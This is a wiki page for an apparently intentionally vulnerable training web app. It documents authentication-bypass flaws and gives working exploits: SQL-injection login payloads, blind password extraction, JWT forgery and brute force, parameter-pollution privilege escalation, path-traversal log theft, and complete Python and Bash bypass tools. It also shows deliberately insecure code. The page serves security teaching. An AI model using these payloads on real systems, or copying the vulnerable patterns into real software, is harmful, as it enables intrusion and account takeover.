Authentication Bypass - capstone-hermes/hermes-fullstack GitHub Wiki

Authentication Bypass

Overview

The Weak Website contains multiple authentication bypass vulnerabilities that allow attackers to gain unauthorized access to user accounts and administrative functions. These vulnerabilities stem from improper input validation, weak session management, and flawed authentication logic.

Vulnerability Categories

1. SQL Injection Authentication Bypass

2. Parameter Pollution Bypass

3. JWT Token Manipulation

4. Password Policy Bypass

5. Session Management Flaws

SQL Injection Authentication Bypass

Vulnerable Code Location

File: server/src/modules/auth/auth.service.ts:24-26

async login(email: string, password: string) {
  // SQL Injection vulnerability
  const user = await this.userRepository.query(
    `SELECT * FROM user WHERE email = '${email}' AND password = '${password}'`
  );
  
  if (user.length === 0) {
    return { error: 'Invalid credentials' };
  }
  
  const token = jwt.sign({ userId: user[0].id }, 'hardcoded-secret');
  return { token };
}

Basic Authentication Bypass

Method 1: Comment Injection

# Bypass using SQL comments
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\''--","password":"anything"}'

How it works:

-- Original query
SELECT * FROM user WHERE email = 'admin' AND password = 'anything'

-- Injected query
SELECT * FROM user WHERE email = 'admin'--' AND password = 'anything'
-- The '--' comments out the password check

Method 2: OR Injection

# Bypass using OR logic
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' OR '\''1'\''='\''1'\''--","password":"ignored"}'

Resulting Query:

SELECT * FROM user WHERE email = 'admin' OR '1'='1'--' AND password = 'ignored'

Method 3: UNION-based Bypass

# Bypass using UNION to inject admin user
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT 1,'\''[email protected]'\'','\''password123'\'','\''admin'\''--","password":"password123"}'

Advanced SQL Injection Techniques

Time-based Blind Authentication

# Test for time-based injection
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT SLEEP(5))--","password":"test"}'

Boolean-based User Enumeration

# Check if admin user exists
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT COUNT(*) FROM user WHERE email='\''[email protected]'\'')>0--","password":"test"}'

# Extract password length
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT LENGTH(password) FROM user WHERE email='\''[email protected]'\'')>10--","password":"test"}'

Character-by-Character Password Extraction

# Extract first character of admin password
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT SUBSTRING(password,1,1) FROM user WHERE email='\''[email protected]'\'')='\''p'\''--","password":"test"}'

Parameter Pollution Bypass

Vulnerable Code Location

File: server/src/vulnerable-params.middleware.ts

@Injectable()
export class VulnerableParamsMiddleware implements NestMiddleware {
  use(req: any, res: any, next: () => void) {
    // Last parameter wins - enables parameter pollution
    if (req.body && typeof req.body === 'object') {
      Object.keys(req.body).forEach(key => {
        if (Array.isArray(req.body[key])) {
          req.body[key] = req.body[key][req.body[key].length - 1];
        }
      });
    }
    next();
  }
}

Exploitation Techniques

Basic Parameter Pollution

# Send multiple email parameters - last one wins
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","email":"[email protected]","password":"wrongpass","password":"password123"}'

JSON Array Pollution

// Using JavaScript to send array parameters
fetch('http://localhost:8080/auth/login', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    email: ['[email protected]', '[email protected]'], // Last element wins
    password: ['wrongpass', 'password123']      // Last element wins
  })
});

Form Data Pollution

# Using form data with multiple parameters
curl -X POST http://localhost:8080/auth/login \
  -d "[email protected]&[email protected]&password=wrong&password=password123"

Parameter Pollution in Registration

Privilege Escalation via Registration

# Create admin user via parameter pollution
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Password123!","role":"user","role":"admin"}'

JWT Token Manipulation

Vulnerable Implementation

File: server/src/modules/auth/auth.service.ts:35

// Hardcoded weak JWT secret
const token = jwt.sign({ userId: user[0].id }, 'hardcoded-secret');

Token Forgery Techniques

Method 1: Known Secret Exploitation

// Create forged JWT with known secret
const jwt = require('jsonwebtoken');

const payload = {
  userId: 1,  // Admin user ID
  role: 'admin',
  iat: Math.floor(Date.now() / 1000)
};

const forgedToken = jwt.sign(payload, 'hardcoded-secret');
console.log('Forged token:', forgedToken);

Method 2: Algorithm Confusion Attack

// Change algorithm from HS256 to none
const header = {
  "alg": "none",
  "typ": "JWT"
};

const payload = {
  "userId": 1,
  "role": "admin"
};

// Create token without signature
const unsignedToken = btoa(JSON.stringify(header)) + '.' + 
                     btoa(JSON.stringify(payload)) + '.';

Method 3: Secret Brute Force

#!/usr/bin/env python3
import jwt
import requests

# Common weak secrets to try
secrets = [
    'secret', 'password', '123456', 'admin', 'test',
    'hardcoded-secret', 'jwt-secret', 'my-secret'
]

# Captured JWT token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

for secret in secrets:
    try:
        decoded = jwt.decode(token, secret, algorithms=['HS256'])
        print(f"Secret found: {secret}")
        print(f"Decoded payload: {decoded}")
        break
    except jwt.InvalidTokenError:
        continue

Token Manipulation Examples

Administrative Token Creation

# Use forged admin token
curl -X GET http://localhost:8080/users/profile \
  -H "Authorization: Bearer <forged_admin_token>"

Extended Expiration

// Create token with far future expiration
const payload = {
  userId: 1,
  exp: Math.floor(Date.now() / 1000) + (365 * 24 * 60 * 60) // 1 year
};

const longLivedToken = jwt.sign(payload, 'hardcoded-secret');

Password Policy Bypass

Vulnerable Password Validation

File: server/src/modules/auth/password.helper.ts

// V2.1.3: Password truncation vulnerability
normalizePassword(password: string): string {
  return password.substring(0, 20); // Truncates at 20 characters
}

// V2.1.4: ASCII-only validation
validatePasswordCharacters(password: string): boolean {
  return /^[\x20-\x7E]*$/.test(password); // Only ASCII printable
}

Bypass Techniques

Password Truncation Bypass

# Password gets truncated, making it weaker
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Pass1!VERY_LONG_PASSWORD_THAT_GETS_TRUNCATED"}'

# Login with truncated version
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Pass1!VERY_LONG_PASSW"}'

Composition Rule Bypass

# Minimal password that meets requirements
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Pass1!"}'

Password Change Bypass

Disabled Password Change

File: server/src/modules/auth/auth.service.ts:84-85

// V2.1.5: Password change always fails
async changePassword(userId: number, changePasswordDto: ChangePasswordDto) {
  // Always throws error - 100% failure rate
  throw new Error('Password change functionality is permanently disabled');
}

All password change attempts fail, preventing users from improving security.

Session Management Bypass

Session Vulnerabilities

No Token Expiration

// Tokens never expire - indefinite access
const payload = { userId: 1 };
const token = jwt.sign(payload, 'hardcoded-secret'); // No exp claim

Token Logging

File: server/src/modules/auth/auth.service.ts:37

// Tokens logged in plain text
this.logger.log(`Token generated: ${token}`);

Session Hijacking via Logs

# Access application logs to steal tokens
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/app.log"

Automated Bypass Scripts

Python Authentication Bypass Tool

#!/usr/bin/env python3
import requests
import jwt
import time

class AuthBypass:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
    
    def sql_injection_bypass(self):
        """Try SQL injection authentication bypass"""
        payloads = [
            "admin'--",
            "admin' OR '1'='1'--",
            "' OR 1=1--",
            "admin' /*",
        ]
        
        for payload in payloads:
            data = {"email": payload, "password": "anything"}
            response = self.session.post(f"{self.base_url}/auth/login", json=data)
            
            if response.status_code == 200 and 'token' in response.text:
                print(f"✓ SQL Injection successful with: {payload}")
                return response.json().get('token')
        
        return None
    
    def parameter_pollution_bypass(self):
        """Try parameter pollution bypass"""
        # Test with array parameters
        data = {
            "email": ["[email protected]", "[email protected]"],
            "password": ["wrongpass", "password123"]
        }
        
        response = self.session.post(f"{self.base_url}/auth/login", json=data)
        
        if response.status_code == 200 and 'token' in response.text:
            print("✓ Parameter pollution successful")
            return response.json().get('token')
        
        return None
    
    def forge_jwt_token(self):
        """Create forged JWT token"""
        payload = {
            "userId": 1,
            "role": "admin",
            "iat": int(time.time())
        }
        
        try:
            token = jwt.encode(payload, 'hardcoded-secret', algorithm='HS256')
            print("✓ JWT forgery successful")
            return token
        except Exception as e:
            print(f"✗ JWT forgery failed: {e}")
            return None
    
    def test_all_bypasses(self):
        """Test all bypass methods"""
        print("=== Authentication Bypass Testing ===")
        
        # Test SQL injection
        token = self.sql_injection_bypass()
        if token:
            return token
        
        # Test parameter pollution
        token = self.parameter_pollution_bypass()
        if token:
            return token
        
        # Test JWT forgery
        token = self.forge_jwt_token()
        if token:
            return token
        
        print("✗ All bypass attempts failed")
        return None

# Example usage
bypass = AuthBypass("http://localhost:8080")
token = bypass.test_all_bypasses()

if token:
    print(f"Access token: {token}")
    
    # Test authenticated request
    headers = {'Authorization': f'Bearer {token}'}
    response = requests.get("http://localhost:8080/users/profile", headers=headers)
    print(f"Profile access: {response.status_code}")

Bash Bypass Testing Script

#!/bin/bash

BASE_URL="http://localhost:8080"
LOGIN_ENDPOINT="/auth/login"

echo "=== Authentication Bypass Test Suite ==="

# Test 1: SQL Injection Bypass
echo "Test 1: SQL Injection Authentication Bypass"
SQL_PAYLOADS=(
    "admin'--"
    "admin' OR '1'='1'--"
    "' OR 1=1--"
    "admin' /*"
)

for payload in "${SQL_PAYLOADS[@]}"; do
    echo "Testing payload: $payload"
    response=$(curl -s -X POST "$BASE_URL$LOGIN_ENDPOINT" \
        -H "Content-Type: application/json" \
        -d "{\"email\":\"$payload\",\"password\":\"anything\"}")
    
    if echo "$response" | grep -q "token"; then
        echo "✓ SUCCESS: SQL injection bypass worked"
        echo "Response: $response"
        break
    else
        echo "✗ Failed"
    fi
done

# Test 2: Parameter Pollution
echo -e "\nTest 2: Parameter Pollution Bypass"
curl -s -X POST "$BASE_URL$LOGIN_ENDPOINT" \
    -H "Content-Type: application/json" \
    -d '{"email":["[email protected]","[email protected]"],"password":["wrong","password123"]}' \
    | jq '.'

# Test 3: JWT Forgery (requires node.js)
echo -e "\nTest 3: JWT Token Forgery"
if command -v node &> /dev/null; then
    node -e "
    const jwt = require('jsonwebtoken');
    const payload = { userId: 1, role: 'admin' };
    const token = jwt.sign(payload, 'hardcoded-secret');
    console.log('Forged token:', token);
    "
else
    echo "Node.js not available for JWT forgery test"
fi

echo -e "\n=== Test Complete ==="

Multi-Step Attack Chains

Complete Account Takeover Chain

Step 1: User Enumeration

# Enumerate valid users via SQL injection
curl -X POST http://localhost:8080/auth/login \
  -d '{"email":"'\'' UNION SELECT GROUP_CONCAT(email),null,null,null FROM user--","password":"test"}'

Step 2: Password Extraction

# Extract passwords for enumerated users
curl -X POST http://localhost:8080/auth/login \
  -d '{"email":"'\'' UNION SELECT GROUP_CONCAT(CONCAT(email,'\'':\''',password)),null,null,null FROM user--","password":"test"}'

Step 3: Admin Access

# Use extracted admin credentials or bypass
curl -X POST http://localhost:8080/auth/login \
  -d '{"email":"[email protected]","password":"extracted_password"}'

Step 4: Privilege Maintenance

// Create additional admin accounts for persistence
const response = await fetch('/auth/signup', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    email: ['[email protected]', '[email protected]'],
    password: ['normalpass', 'BackdoorPass123!'],
    role: ['user', 'admin']
  })
});

Defense Evasion

Bypassing Basic Filters

Quote Escaping

# Different quote styles
curl -X POST http://localhost:8080/auth/login \
  -d '{"email":"admin\u0027--","password":"test"}'  # Unicode escape

curl -X POST http://localhost:8080/auth/login \
  -d "{\"email\":\"admin'--\",\"password\":\"test\"}"  # Different JSON format

Encoding Bypass

# URL encoding
curl -X POST http://localhost:8080/auth/login \
  -d '{"email":"admin%27--","password":"test"}'

# Double encoding
curl -X POST http://localhost:8080/auth/login \
  -d '{"email":"admin%2527--","password":"test"}'

Impact and Business Risk

Immediate Impacts

  • Unauthorized Access: Bypass authentication controls
  • Privilege Escalation: Gain administrative access
  • Data Exposure: Access sensitive user information
  • Account Takeover: Control other user accounts

Long-term Consequences

  • Data Breach: Complete database compromise
  • Regulatory Fines: GDPR, CCPA violations
  • Reputation Damage: Loss of customer trust
  • Financial Loss: Incident response and recovery costs

Next Steps:

Related Topics: